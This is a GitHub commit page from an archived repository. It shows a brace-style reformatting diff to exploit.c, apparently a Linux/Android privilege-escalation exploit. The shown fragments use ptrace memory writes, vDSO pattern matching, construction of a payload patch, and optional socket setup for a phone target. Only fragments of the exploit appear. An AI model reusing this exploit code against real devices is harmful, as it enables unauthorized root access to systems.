Skip to content
This repository has been archived by the owner on Apr 2, 2019. It is now read-only.

Commit

Permalink
style & fix
Browse files Browse the repository at this point in the history
  • Loading branch information
hyln9 committed Jan 21, 2017
1 parent c5a333a commit e691637
Showing 1 changed file with 14 additions and 6 deletions.
20 changes: 14 additions & 6 deletions exploit.c
Original file line number Diff line number Diff line change
Expand Up @@ -114,7 +114,8 @@ ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n)

errno = 0;
value = ptrace(PTRACE_PEEKTEXT, pid, dest, NULL);
if (value == -1 && errno != 0) {
if (value == -1 && errno != 0)
{
fprintf(stderr, "Syscall error: ptrace at line %d with code %d.\n",
__LINE__, errno);
exit(EXIT_FAILURE);
Expand Down Expand Up @@ -187,12 +188,15 @@ match_entry(void *vdso_addr, const struct entry **entry)
void *entry_point;
int i;

for (i = 0; i < ARRAY_SIZE(entry_db); i++) {
for (i = 0; i < ARRAY_SIZE(entry_db); i++)
{
e = &entry_db[i];
if ((entry_point = memmem(vdso_addr, VDSO_SIZE,
e->s_pattern, e->s_size)) != 0)
{
*entry = e;
return entry_point - vdso_addr;
}
}

return 0;
Expand Down Expand Up @@ -280,8 +284,10 @@ build_vdso_patch(void *vdso_addr, size_t target_offset, const struct entry *e)
vdso_patch[0] = tmp0;

dp = vdso_patch[0].offset + vdso_addr;
for (i = 0; i < payload_len; i++) {
if (dp[i] != '\x00') {
for (i = 0; i < payload_len; i++)
{
if (dp[i] != '\x00')
{
fprintf(stderr, "Internal error: insufficient place "
"for payload.\n");
exit(EXIT_FAILURE);
Expand Down Expand Up @@ -573,7 +579,8 @@ main(int argc, char *argv[])

vdso_patch = build_vdso_patch(vdso_addr, target_offset, entry);

if (loc) {
if (loc)
{
s = setup_socket(port);
}

Expand All @@ -583,7 +590,8 @@ main(int argc, char *argv[])

printf(">>> Please wake up you phone now.\n\n");

if (loc) {
if (loc)
{
term(s);
}
else
Expand Down

0 comments on commit e691637

Please sign in to comment.